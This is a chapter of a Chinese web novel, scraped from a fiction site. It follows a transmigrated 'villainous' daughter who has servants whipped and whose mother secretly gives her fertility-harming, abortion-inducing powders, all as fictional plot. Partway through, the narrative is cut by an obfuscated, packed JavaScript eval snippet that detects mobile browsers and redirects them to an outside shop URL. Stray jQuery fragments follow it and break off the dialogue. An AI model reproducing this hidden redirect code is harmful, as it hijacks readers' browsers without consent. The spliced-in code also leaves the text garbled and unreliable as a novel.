文趣网 > 都市小说 > 穿书之恨明月独照我不休 > 5. 这才是恶毒女配!
    尹家后院,余浅刚从后门进来,小厮便与她打招呼,“余浅姐姐。”

    她点头回应,刚要转身往住处的方向走,猛地被人扇了一掌。

    “你这个小贱人!”

    一个中年妇人,表情狰狞,眼底全是恨意,她似乎是守在后门,只为能在余浅回府的那一刻第一个见到她,狠狠教训一顿,发泄无名的怒火,致以最深沉的问候。

    “不要脸的东西,小姐才嫁过去第一天,少夫人的位子还没坐热,你就爬了少爷的床!小杂种,我平日里就是这么教你的吗!”

    余浅低头捂住自己的脸,火辣辣的痛感覆盖着整半张脸,羞耻与麻木感萦绕在她心尖的每一寸。

    “娘,你真的是我娘吗?”

    妇人有那么一瞬的心虚,更多的都被怒火掩饰下变成了对余浅的憎恶与仇恨,从余浅出生起便是这样。

    “余婆子又在打女儿了。”

    “这次又是因为什么呀?”

    “好像是他女儿爬了小姐相公的床,被秦家纳了。”

    “那不是好事吗,她女儿做了妾他娘也跟着沾光啊。”

    “你第一天来不知道,她和她闺女有仇,从娘胎带下来的,从小就又打又骂……”

    说着,余婆子就要拉着余浅去老爷夫人面前,说是余浅不愿做妾,只求留在她身边一辈子,不出嫁也不出府。

    余婆子拉扯着余浅肩膀上的衣领,一路从后院拖到了老爷与夫人的院子里,强迫她跪在院中。

    正是午时,主人一家都在用膳,余浅空着肚子跪在日头下,回想这一生,求死之心战胜理智与心中对母亲的恐惧,她站起,卯足一股劲,在余婆子的谩骂声中,往门前柱子上冲去。

    余婆子还没来得及震惊,突然出现的秦栖池挡在木头柱子前,余浅的头狠狠撞进他怀中,他抱住余浅的身体,两人身形不稳,齐齐向一边倒去。

    “你,你没事吧……”

    秦栖池用手撑着身体,喘息缓和胸前因撞击而带来的不适感。

    尹艾笙冷冷瞥了一眼抱在一起倒下的两人,不在乎地抬起手,带着倦意地看了看自己指甲上有些褪色的蔻丹。

    稚水上前,“小姐,您的蔻丹和夫人是一起染的,等一会儿,奴婢给您和夫人一起染一下吧。”

    尹艾笙收起指甲,不怒而威,歪头蔫坏的样子,看向兰石。

    兰石原本因余浅投怀送抱,两人一起抱在一起的样子十分不爽,可看到昔日小姐要教训人的表情,她惊觉她的小姐回来了!

    尹艾笙甩了记刀眼给余婆子,随后又眼神示意兰石。

    “这都到我们小姐家了,还恬不知耻地勾引少爷,”

    余浅连忙辩解,“我没有!”秦栖池微微皱眉,余浅用尽力气撞柱他挡住的时候没有皱眉,护住余浅的身体到底地上的时候也没有任何反应,只是默默护住她,而听到兰石的刁难,他脑中的警钟疯狂响动,生怕自己护不住……

    “余婆子,你是怎么教你女儿的?!”

    尹艾笙低头偷笑,兰石出马,指哪打哪。

    余婆子被打了个措手不及,慌乱地连忙下跪。

    “小姐恕罪,这丫头从小就不服我这老婆子的管教,我让她往东她往西,我叫她洗衣她做饭,如今做出这样的丑事,全是这丫头自甘堕落!”

    “哼,子不教,父之过,余浅没有爹,所有的罪责,当然要落到你这个老婆子身上,竟然敢巧言令色为自己脱罪。”

    稚水按平常的习惯,让下人端来茶水和椅子,让尹艾笙坐下。

    “余婆子教女无方,按府上的规矩,应该鞭二十,小姐,你拿主意吧。”

    稚水端着茶让尹艾笙发号施令,尹艾笙接过茶,并没有急于下令,而是任由余婆子挣扎一番。

    “不是的小姐,奴婢是想让我这贱女来向老爷夫人磕头认错的,奴婢没有让她去勾引少爷,小姐,奴婢在您小时候还抱过您呢,小姐开恩啊!”

    尹艾笙饮下一口热茶,略微抬眼,轻蔑一笑。

    “哦?~你抱过我,一个后院的粗实婆子,竟然敢说自己抱过我,我看你是老糊涂了。”

    “……”余婆子吓得眼角含泪,小姐的手段,府上人人皆知,她今日逃不过,竟不想要活生生栽到自己的亲生女儿手里。

    “鞭打三十,逐出府去。”

    后面的男仆听后立马领命,两人按住想要逃走的汤婆子,另一人去库房取鞭子。

    “不!不!小姐,我是你娘,我是你娘啊!”

    兰石快步走上前,一巴掌甩在汤婆子脸上,“你这个疯婆子,死到临头竟然疯言疯语,再说胡话,我就拿针线把你的嘴缝起来!”

    余浅不可置信地起身,用一种极为复杂的眼神看向被按在地上的汤婆子,秦栖池护住她的肩膀,像是也意识到了什么。

    尹艾笙注意到秦栖池与余浅那边,而此时下人已经取来了鞭子,整个院子充斥着余婆子的哀嚎声。

    在哀嚎声中,尹艾笙从椅子上离开,慢慢悠悠走向秦栖池与余浅。

    秦栖池揉了揉余浅的肩膀,似是安抚。

    尹艾笙抬手一巴掌打在余浅肿起的半边脸上,秦栖池双眸睁大,明亮的双眼带上震惊与疑惑。

    「小贱人,这种废物,也就你稀罕了。」

    “小废物,这种伥鬼,也就你惯着了。”

    「又聋又哑,在家里也没人把他当回事,你费劲心思爬上他的床,到头来还不是只有被人羞辱的份儿。」

    “狼心狗肺,对她好也不会把你当人看,你从小处处讨好迁就她,到头来还不是只有被她羞辱的份儿。”

    「我呀,真替你不值。」

    “我呀,真替你不值。”

    尹艾笙眼神轻蔑,转头时手指夹着手帕,轻轻推了推后脑有些松的珍珠钗子,身姿优雅。

    余浅的泪不知怎的,从源头断掉了。

    她望着院中被鞭子一下下抽打的中年妇女,眼底渐渐有了恨意,恐惧不再主导她的身体,取而代之的是一种坚定与自知。

    秦栖池松开护住余浅的手,视线紧盯尹艾笙曼妙身姿的背影,人也紧随其后。

    饭桌上,尹老爷与尹夫人两人一筷子一筷子将尹艾笙盘子里的菜垒的高高的。

    “爹,娘,我们回来了。”

    尹艾笙看到被摞得高高的菜和肉,内心生起一阵暖意。

    “怎么现在才回来,平时只有一半高度的时候你就回来了,现在有了夫君,都不舍得太早回来了。”

    “女儿才没有重夫君轻爹娘呢,就是,刚才有两个下人,女儿小小的惩戒了一下。”

    “哼,让我女儿不开心的下人就不应该待在府里,通通给我滚出去!”

    “女儿已经这么做了,爹娘不必为此等小事忧心。”

    哈哈哈,这才是恶毒女配,心狠手辣,笑里藏刀。

    「是个屁!」

    「哦呦,我都一比一复配原剧情了,你到底哪里不满意嘛。」

    「我在一边给你口述原句

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17811347|210847||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,三句话你改了两句!」

    「才两句而已,大不了就扣钱嘛,我又不亏。」

    「宿主!红蛋啊!」

    尹艾笙将盘子里的草一点点夹给秦栖池,刚才那样的场景,好感度竟然不增不减,没有一点变化,她真是搞不懂秦栖池。

    好感度+1,当前好感度-32

    “夫君,太多了,奴家吃不下。”

    秦栖池看着她的嘴巴,冷淡地将盘中食物一点一点吃进嘴里。

    即使好感度负数,他应该也是不讨厌我的吧。

    「宿主,好感度并非专指一个人对另一个人的喜欢程度,而是一个复杂的多参数多比例相加减乘除的数值。」

    「了我只看到了加减,没看见乘除啊。」

    「因为能撼动男主内心的只有女主,所以宿主你的好感度只能在小范围内变化。」

    「呵呵。」

    午膳过后,尹艾笙和尹夫人在后院花园里染指甲,秦栖池和尹老爷两人在亭子下下棋。

    下棋原本还是尹老爷提出来的,尹老爷精通棋艺,用这种无声的较量杀杀女婿的气性,让他知道当他们尹家的女婿,可不是一件容易的事情。

    可连下十盘,尹老爷无论是猛烈地进攻,还是小心翼翼地防守,都逃不过输下一局的命运,只能被女婿吊着打。

    “不下了!”

    他气急败坏,在输下第十一局之前,率先捣毁了棋局,弃三人而去。

    “我这还是第一次见你父亲下棋发这么大脾气呢。”

    尹艾笙用手心托住下巴,手指摊开着用树叶包住,笑着说看向父亲离去的背影。

    欺负秦栖池不能说话,不然绝对拆穿你。

    好感度+1,当前好感度-31

    尹艾笙疑惑看向亭子,秦栖池正在默默收着棋子,只是自己那边白棋盒子里掺了几颗黑棋,又被下人挑出来放到黑棋盒子里。

    “艾笙,你听娘的,先不要急于子嗣之事。”

    “娘我知道,我根本就没想过要……没打算养小孩。”

    尹夫人安心地点了点头,“就算不能把秦家牢牢攥在手心里,也要等你在秦家站稳脚跟才行,也不知道你夫君的聋哑会不会传给下一代,要不是因为你与秦家的婚约是你那个古板的爷爷定下的,我和你爹肯定不会让你嫁过去的。”

    “没事的娘,咱们家虽然不能招上门女婿,收养一个家境贫寒没有双亲的秀才也好啊,说不定以后就是官宦世家了呢。”

    “哼哼,要是穷秀才当上官了,第一个斩的那就不是意中人了,而是商贾出身的养父母!”

    尹艾笙意外地讪讪笑笑,不再说话。

    “听说,成亲第一天,你婆婆就往你院子里塞了两个美妾?”

    “也不算她塞的吧,一个是我带去的陪嫁,另外一个是二房的。”

    “刚成亲就这样,你和你夫君的感情本就冷冷淡淡的,再加上两个美妾,那日后就只会更糟了。”

    “还行吧,他对谁都那样。”

    “女儿啊,虽说现在不是生孩子的好时机,但要牢牢握住夫婿的心才是最重要的,娘这里有两包会有损妇人生育的药物,也可以堕胎,大夫把脉看不出来的,神不知,鬼不觉。”

    尹夫人说着,从腰间拿出两包药粉,用手招呼稚水过来,悄悄递到她手上。

    “你明白为娘的意思吧。”

    尹艾笙看着稚水手中的小药包,心中默默有了新的盘算。

    “我明白。”